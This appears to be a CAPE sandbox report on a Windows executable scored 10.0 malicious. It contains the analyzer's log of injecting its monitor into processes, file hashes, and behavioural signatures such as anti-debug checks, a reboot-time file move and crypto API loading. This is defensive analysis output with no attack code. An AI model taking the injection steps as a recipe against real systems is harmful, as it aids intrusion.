2019-08-13 23:48:28,542 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PO8FSL294B4483IFZ7K3.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\PO8FSL294B4483IFZ7K3.temp'
2019-08-13 23:48:28,542 [root] DEBUG: DLL unloaded from 0x000007FEFDC60000.
2019-08-13 23:48:28,558 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PO8FSL294B4483IFZ7K3.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\PO8FSL294B4483IFZ7K3.temp'
2019-08-13 23:48:28,558 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dd4d.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF185dd4d.TMP'
2019-08-13 23:48:28,572 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:48:28,588 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PO8FSL294B4483IFZ7K3.temp" does not exist, skip.
2019-08-13 23:48:28,651 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:28,667 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PO8FSL294B4483IFZ7K3.temp" does not exist, skip.
2019-08-13 23:48:28,681 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:28,697 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:28,947 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:28,963 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:28,993 [root] DEBUG: DLL loaded at 0x000007FEF8C60000: C:\Windows\system32\cscapi (0xf000 bytes).
2019-08-13 23:48:28,993 [root] DEBUG: DLL loaded at 0x000007FEFB620000: C:\Windows\system32\slc (0xb000 bytes).
2019-08-13 23:48:29,009 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MW5S8P2ZY0F96LTS7CCQ.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\MW5S8P2ZY0F96LTS7CCQ.temp'
2019-08-13 23:48:29,026 [root] INFO: Process with pid 2244 has terminated
2019-08-13 23:48:29,026 [root] INFO: Process with pid 2836 has terminated
2019-08-13 23:48:29,040 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MW5S8P2ZY0F96LTS7CCQ.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\MW5S8P2ZY0F96LTS7CCQ.temp'
2019-08-13 23:48:29,040 [root] INFO: Announced 64-bit process name: svchost.exe pid: 3432
2019-08-13 23:48:29,040 [root] DEBUG: DLL unloaded from 0x000007FEFDC60000.
2019-08-13 23:48:29,056 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\CRYPTSP (0x17000 bytes).
2019-08-13 23:48:29,072 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MW5S8P2ZY0F96LTS7CCQ.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\MW5S8P2ZY0F96LTS7CCQ.temp'
2019-08-13 23:48:29,072 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:29,088 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:29,088 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:29,088 [root] DEBUG: DLL loaded at 0x000007FEFCB60000: C:\Windows\system32\rsaenh (0x47000 bytes).
2019-08-13 23:48:29,088 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185df40.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF185df40.TMP'
2019-08-13 23:48:29,104 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:29,104 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:48:29,118 [root] DEBUG: Loader: Injecting process 3432 (thread 3436) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:29,118 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MW5S8P2ZY0F96LTS7CCQ.temp" does not exist, skip.
2019-08-13 23:48:29,118 [root] DEBUG: Process image base: 0x00000000FF650000
2019-08-13 23:48:29,134 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:29,134 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:29,134 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RS26A0XKNJQ7NHHYCY4A.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\RS26A0XKNJQ7NHHYCY4A.temp'
2019-08-13 23:48:29,150 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x00000000FF65B000 - 0x000007FEFF9A0000
2019-08-13 23:48:29,150 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MW5S8P2ZY0F96LTS7CCQ.temp" does not exist, skip.
2019-08-13 23:48:29,150 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RS26A0XKNJQ7NHHYCY4A.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\RS26A0XKNJQ7NHHYCY4A.temp'
2019-08-13 23:48:29,150 [root] DEBUG: InjectDllViaIAT: Allocated 0x210 bytes for new import table at 0x00000000FF660000.
2019-08-13 23:48:29,165 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:29,165 [root] DEBUG: DLL unloaded from 0x000007FEFDC60000.
2019-08-13 23:48:29,165 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:29,181 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:29,181 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RS26A0XKNJQ7NHHYCY4A.temp": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\RS26A0XKNJQ7NHHYCY4A.temp'
2019-08-13 23:48:29,181 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:29,197 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3432
2019-08-13 23:48:29,197 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dfad.TMP": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF185dfad.TMP'
2019-08-13 23:48:29,197 [root] WARNING: Unable to access file at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms": [Errno 13] Permission denied: u'C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms'
2019-08-13 23:48:29,213 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:29,213 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RS26A0XKNJQ7NHHYCY4A.temp" does not exist, skip.
2019-08-13 23:48:29,213 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:29,227 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:29,227 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:29,243 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x00000000FF650000, stack from 0x0000000000176000-0x0000000000180000
2019-08-13 23:48:29,259 [root] INFO: Added new process to list with pid: 3432
2019-08-13 23:48:29,259 [root] INFO: Monitor successfully loaded in process with pid 3432.
2019-08-13 23:48:29,275 [root] DEBUG: DLL loaded at 0x000007FEFCFE0000: C:\Windows\system32\ncrypt (0x4e000 bytes).
2019-08-13 23:48:29,275 [root] DEBUG: DLL unloaded from 0x74A20000.
2019-08-13 23:48:29,275 [root] DEBUG: DLL loaded at 0x000007FEFCFB0000: C:\Windows\system32\bcrypt (0x22000 bytes).
2019-08-13 23:48:29,275 [root] DEBUG: DLL loaded at 0x000007FEFD670000: C:\Windows\system32\MSASN1 (0xf000 bytes).
2019-08-13 23:48:29,290 [root] DEBUG: DLL unloaded from 0x75D20000.
2019-08-13 23:48:29,305 [root] DEBUG: DLL unloaded from 0x74C10000.
2019-08-13 23:48:29,322 [root] INFO: Notified of termination of process with pid 1800.
2019-08-13 23:48:29,322 [root] DEBUG: DLL loaded at 0x000007FEFD760000: C:\Windows\system32\CRYPT32 (0x167000 bytes).
2019-08-13 23:48:29,338 [root] DEBUG: DLL loaded at 0x000007FEFE4E0000: C:\Windows\system32\OLEAUT32 (0xd7000 bytes).
2019-08-13 23:48:29,352 [root] DEBUG: DLL loaded at 0x000007FEFEA80000: C:\Windows\system32\SHELL32 (0xd88000 bytes).
2019-08-13 23:48:29,352 [root] DEBUG: DLL loaded at 0x000007FEFC920000: C:\Windows\system32\USERENV (0x1e000 bytes).
2019-08-13 23:48:29,368 [root] DEBUG: DLL loaded at 0x000007FEFD590000: C:\Windows\system32\profapi (0xf000 bytes).
2019-08-13 23:48:29,384 [root] DEBUG: DLL loaded at 0x000007FEFB440000: C:\Windows\system32\IPHLPAPI (0x27000 bytes).
2019-08-13 23:48:29,384 [root] DEBUG: DLL loaded at 0x000007FEF98C0000: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei (0x97000 bytes).
2019-08-13 23:48:29,400 [root] DEBUG: DLL loaded at 0x000007FEFDF70000: C:\Windows\system32\NSI (0x8000 bytes).
2019-08-13 23:48:29,415 [root] WARNING: File at path "C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RS26A0XKNJQ7NHHYCY4A.temp" does not exist, skip.
2019-08-13 23:48:29,415 [root] DEBUG: DLL loaded at 0x000007FEFB400000: C:\Windows\system32\WINNSI (0xb000 bytes).
2019-08-13 23:48:29,447 [root] DEBUG: DLL loaded at 0x000007FEF29E0000: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks (0x99d000 bytes).
2019-08-13 23:48:29,447 [root] DEBUG: DLL loaded at 0x000007FEF4480000: C:\Windows\system32\WINHTTP (0x71000 bytes).
2019-08-13 23:48:29,447 [root] DEBUG: DLL loaded at 0x0000000074660000: C:\Windows\WinSxS\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\MSVCR80 (0xc9000 bytes).
2019-08-13 23:48:29,461 [root] DEBUG: DLL loaded at 0x000007FEF4410000: C:\Windows\system32\webio (0x64000 bytes).
2019-08-13 23:48:29,509 [root] DEBUG: DLL loaded at 0x000007FEFD9A0000: C:\Windows\system32\WS2_32 (0x4d000 bytes).
2019-08-13 23:48:29,539 [root] DEBUG: DLL unloaded from 0x0000000077460000.
2019-08-13 23:48:29,555 [root] DEBUG: DLL loaded at 0x000007FEFCE60000: C:\Windows\system32\cryptsp (0x17000 bytes).
2019-08-13 23:48:29,555 [root] DEBUG: DLL loaded at 0x000007FEFCA70000: C:\Windows\system32\credssp (0xa000 bytes).
2019-08-13 23:48:29,572 [root] DEBUG: DLL unloaded from 0x000007FEFCE60000.
2019-08-13 23:48:29,618 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:29,914 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:30,039 [root] INFO: Process with pid 1800 has terminated
2019-08-13 23:48:30,101 [root] DEBUG: DLL loaded at 0x000007FEFB1C0000: C:\Windows\system32\dhcpcsvc (0x18000 bytes).
2019-08-13 23:48:30,132 [root] DEBUG: DLL unloaded from 0x000007FEFE5F0000.
2019-08-13 23:48:30,196 [root] INFO: Announced starting service "KeyIso"
2019-08-13 23:48:30,210 [root] INFO: Attaching to Service Control Manager (services.exe - pid 464)
2019-08-13 23:48:30,242 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:30,242 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:30,257 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:30,273 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:30,289 [root] DEBUG: Loader: Injecting process 464 (thread 0) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:30,305 [root] DEBUG: InjectDll: No thread ID supplied, GetProcessInitialThreadId failed.
2019-08-13 23:48:30,305 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:30,319 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:30,335 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:30,351 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:30,367 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x00000000FFAB0000, stack from 0x0000000002C96000-0x0000000002CA0000
2019-08-13 23:48:30,382 [root] INFO: Added new process to list with pid: 464
2019-08-13 23:48:30,382 [root] INFO: Monitor successfully loaded in process with pid 464.
2019-08-13 23:48:30,398 [root] DEBUG: InjectDllViaThread: Successfully injected Dll into process via RtlCreateUserThread.
2019-08-13 23:48:30,414 [root] DEBUG: InjectDll: Successfully injected DLL via thread.
2019-08-13 23:48:30,414 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:30,648 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:30,664 [root] INFO: Notified of termination of process with pid 3000.
2019-08-13 23:48:30,664 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:31,099 [root] INFO: Process with pid 3000 has terminated
2019-08-13 23:48:31,099 [root] INFO: Process with pid 2492 has terminated
2019-08-13 23:48:31,444 [root] INFO: Announced 64-bit process name: lsass.exe pid: 3956
2019-08-13 23:48:31,459 [lib.api.process] INFO: Option 'dump-on-api' with value 'SetUnhandledExceptionFilter' sent to monitor
2019-08-13 23:48:31,459 [lib.api.process] INFO: Option 'procdump' with value '0' sent to monitor
2019-08-13 23:48:31,459 [lib.api.process] INFO: 64-bit DLL to inject is C:\eekpksikqu\dll\IlpYWtU.dll, loader C:\eekpksikqu\bin\JNPlaaSL.exe
2019-08-13 23:48:31,459 [root] DEBUG: ReadConfig: Successfully loaded pipe name \\.\PIPE\efjffUu.
2019-08-13 23:48:31,474 [root] DEBUG: Loader: Injecting process 3956 (thread 3960) with C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:31,474 [root] DEBUG: Process image base: 0x00000000FF040000
2019-08-13 23:48:31,474 [root] DEBUG: InjectDllViaIAT: IAT patching with dll name C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:31,490 [root] DEBUG: InjectDllViaIAT: Found a free region from 0x00000000FF04C000 - 0x000007FEFF9A0000
2019-08-13 23:48:31,490 [root] DEBUG: InjectDllViaIAT: Allocated 0x2a4 bytes for new import table at 0x00000000FF050000.
2019-08-13 23:48:31,490 [root] DEBUG: InjectDllViaIAT: Successfully patched IAT.
2019-08-13 23:48:31,506 [root] DEBUG: Successfully injected DLL C:\eekpksikqu\dll\IlpYWtU.dll.
2019-08-13 23:48:31,506 [lib.api.process] INFO: Injected into suspended 64-bit process with pid 3956
2019-08-13 23:48:31,506 [root] DEBUG: CAPE debug - unrecognised key terminate-processes.
2019-08-13 23:48:31,522 [root] DEBUG: Added 'SetUnhandledExceptionFilter' to dump-on-API list.
2019-08-13 23:48:31,522 [root] DEBUG: Process memory dumps disabled.
2019-08-13 23:48:31,522 [root] INFO: Disabling sleep skipping.
2019-08-13 23:48:31,536 [root] DEBUG: CAPE initialised: 64-bit DumpOnAPI package loaded at 0x0000000074770000, process image base 0x00000000FF040000, stack from 0x0000000000184000-0x0000000000190000
2019-08-13 23:48:31,552 [root] INFO: Added new process to list with pid: 3956
2019-08-13 23:48:31,552 [root] INFO: Monitor successfully loaded in process with pid 3956.
2019-08-13 23:48:31,568 [root] DEBUG: GetHookCallerBase: thread 3960 (handle 0x0), return address 0x00000000FF041071, allocation base 0x00000000FF040000.
2019-08-13 23:48:31,568 [root] DEBUG: Dump-on-API: GetHookCallerBase 0x00000000FF040000 main_caller_retaddr 0x00000000FF041071 parent_caller_retaddr 0x00000000FF04190B.
2019-08-13 23:48:31,568 [root] DEBUG: DumpProcess: Instantiating PeParser with address: 0x00000000FF040000.
2019-08-13 23:48:31,584 [root] DEBUG: DumpProcess: Module entry point VA is 0x0000000000001850.
2019-08-13 23:48:31,584 [root] DEBUG: DLL loaded at 0x000007FEFD4C0000: C:\Windows\system32\cryptbase (0xf000 bytes).
2019-08-13 23:48:31,599 [root] INFO: Added new CAPE file to list with path: C:\eekpksikqu\CAPE\3956_1869725128318514382019
2019-08-13 23:48:31,615 [root] DEBUG: DumpProcess: Module image dump success - dump size 0x7e00.
2019-08-13 23:48:31,615 [root] DEBUG: Dump-on-API: Dumped module at 0x00000000FF040000 due to SetUnhandledExceptionFilter call.
2019-08-13 23:48:31,677 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:31,677 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:31,693 [root] INFO: Notified of termination of process with pid 2848.
2019-08-13 23:48:32,114 [root] INFO: Process with pid 2848 has terminated
2019-08-13 23:48:32,707 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:32,707 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:32,723 [root] INFO: Notified of termination of process with pid 3048.
2019-08-13 23:48:33,128 [root] INFO: Process with pid 3048 has terminated
2019-08-13 23:48:33,128 [root] INFO: Process with pid 2320 has terminated
2019-08-13 23:48:33,736 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:33,736 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:33,752 [root] INFO: Notified of termination of process with pid 2984.
2019-08-13 23:48:34,141 [root] INFO: Process with pid 2984 has terminated
2019-08-13 23:48:34,141 [root] INFO: Process with pid 2672 has terminated
2019-08-13 23:48:34,141 [root] INFO: Process with pid 2892 has terminated
2019-08-13 23:48:34,766 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:34,766 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:34,782 [root] INFO: Notified of termination of process with pid 2420.
2019-08-13 23:48:35,171 [root] INFO: Process with pid 2420 has terminated
2019-08-13 23:48:35,171 [root] INFO: Process with pid 2516 has terminated
2019-08-13 23:48:35,796 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:35,796 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:35,796 [root] INFO: Notified of termination of process with pid 2960.
2019-08-13 23:48:36,217 [root] INFO: Process with pid 2960 has terminated
2019-08-13 23:48:36,233 [root] INFO: Process with pid 2956 has terminated
2019-08-13 23:48:36,825 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:36,825 [modules.auxiliary.human] INFO: Found button "Close the program", clicking it
2019-08-13 23:48:36,841 [root] INFO: Notified of termination of process with pid 2580.
2019-08-13 23:48:37,246 [root] INFO: Process with pid 2580 has terminated
2019-08-13 23:48:37,855 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:48:37,871 [root] INFO: Notified of termination of process with pid 2444.
2019-08-13 23:48:38,260 [root] INFO: Process with pid 2372 has terminated
2019-08-13 23:48:38,260 [root] INFO: Process with pid 2608 has terminated
2019-08-13 23:48:39,275 [root] INFO: Process with pid 2444 has terminated
2019-08-13 23:49:02,549 [root] INFO: Notified of termination of process with pid 3956.
2019-08-13 23:49:02,924 [root] DEBUG: DLL unloaded from 0x000007FEFCA70000.
2019-08-13 23:49:02,956 [root] DEBUG: DLL unloaded from 0x000007FEFE5C0000.
2019-08-13 23:49:02,970 [root] INFO: Notified of termination of process with pid 3432.
2019-08-13 23:49:03,502 [root] INFO: Process with pid 3432 has terminated
2019-08-13 23:49:03,516 [root] INFO: Process with pid 3956 has terminated
2019-08-13 23:51:45,756 [root] INFO: Analysis timeout hit (200 seconds), terminating analysis.
2019-08-13 23:51:45,756 [root] INFO: Created shutdown mutex.
2019-08-13 23:51:46,770 [root] INFO: Shutting down package.
2019-08-13 23:51:46,770 [root] INFO: Stopping auxiliary modules.
2019-08-13 23:51:46,770 [root] INFO: Finishing auxiliary modules.
2019-08-13 23:51:46,770 [root] INFO: Shutting down pipe server and dumping dropped files.
2019-08-13 23:51:46,770 [root] WARNING: File at path "C:\CWrcSCkEoS\debugger" does not exist, skip.
2019-08-13 23:51:46,770 [root] INFO: Analysis completed.

MalScore

10.0

Malicious

Machine

Name Label Manager Started On Shutdown On
target-03 target-03 ESX 2019-08-13 22:48:15 2019-08-13 22:52:07

File Details

File Name a7e934bb1f865514da83d76fed0eb759d618d7cfe030bcad356faaa6f8ebbd87
File Size 675606 bytes
File Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 46979268bea4f083f5d64c624d7f5efe
SHA1 efeb765dfe7d32c1ce620be6ab5397b782802ea7
SHA256 a7e934bb1f865514da83d76fed0eb759d618d7cfe030bcad356faaa6f8ebbd87
SHA512 55c85db35a1338cc2b7e1ff8b942d0e9638318de2c2db7ca1c0a82fddb2adbbc2e3894b4442868e46385ba273611771bf69fccd190baa75e2aaa6520deaa325e
CRC32 2827F1C6
Ssdeep 12288:AS+KbqpaOuUNkAE+e00SFxEKBnLKGP0ZZuBEJFBsM0Nb:ASlAaOuqkAFe00/0+GPsZOVM0Nb
TrID
  • 61.7% (.EXE) Win64 Executable (generic) (27625/18/4)
  • 14.6% (.DLL) Win32 Dynamic Link Library (generic) (6578/25/2)
  • 10.0% (.EXE) Win32 Executable (generic) (4508/7/1)
  • 4.5% (.EXE) OS/2 Executable (generic) (2029/13)
  • 4.4% (.EXE) Generic Win/DOS Executable (2002/3)
ClamAV None matched
Yara None matched
CAPE Yara None matched
Resubmit sample

Signatures

Behavioural detection: Executable code extraction
SetUnhandledExceptionFilter detected (possible anti-debug)
Scheduled file move on reboot detected
File Move on Reboot: Old: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PNRC2BYVZB8CS6ZSKTE2.temp -> New: C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Possible date expiration check, exits too soon after checking local time
process: cmd.exe, PID 1280
Dynamic (imported) function loading detected
DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
DynamicLoader: comctl32.dll/
DynamicLoader: CRYPTSP.dll/CryptAcquireContextA
DynamicLoader: kernel32.dll/VirtualAlloc
DynamicLoader: ntdll.dll/memcpy
DynamicLoader: ADVAPI32.dll/CryptAcquireContextA
DynamicLoader: ADVAPI32.dll/CryptImportKey
DynamicLoader: ADVAPI32.dll/CryptEncrypt
DynamicLoader: CRYPTSP.dll/CryptImportKey
DynamicLoader: CRYPTBASE.dll/SystemFunction040
DynamicLoader: CRYPTBASE.dll/SystemFunction041
DynamicLoader: CRYPTSP.dll/CryptEncrypt
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_Size_ExW
DynamicLoader: SETUPAPI.dll/CM_Get_Device_Interface_List_ExW
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/UnregisterTraceGuids
DynamicLoader: comctl32.dll/
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: kernel32.dll/SetThreadUILanguage
DynamicLoader: kernel32.dll/CopyFileExW
DynamicLoader: kernel32.dll/IsDebuggerPresent
DynamicLoader: kernel32.dll/SetConsoleInputExeNameW
DynamicLoader: kernel32.dll/SortGetHandle
DynamicLoader: kernel32.dll/SortCloseHandle
DynamicLoader: cryptbase.dll/SystemFunction036
DynamicLoader: ole32.dll/CoCreateInstance
DynamicLoader: shell32.dll/
DynamicLoader: ole32.dll/CoGetApartmentType
DynamicLoader: ole32.dll/CoRegisterInitializeSpy
DynamicLoader: ole32.dll/CoTaskMemFree
DynamicLoader: comctl32.dll/
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: ole32.dll/CoGetMalloc
DynamicLoader: ole32.dll/CoInitializeEx
DynamicLoader: ole32.dll/CreateBindCtx
DynamicLoader: ole32.dll/CoTaskMemAlloc
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: comctl32.dll/
DynamicLoader: ADVAPI32.dll/RegEnumKeyW
DynamicLoader: OLEAUT32.dll/
DynamicLoader: ADVAPI32.dll/InitializeSecurityDescriptor
DynamicLoader: ADVAPI32.dll/SetEntriesInAclW
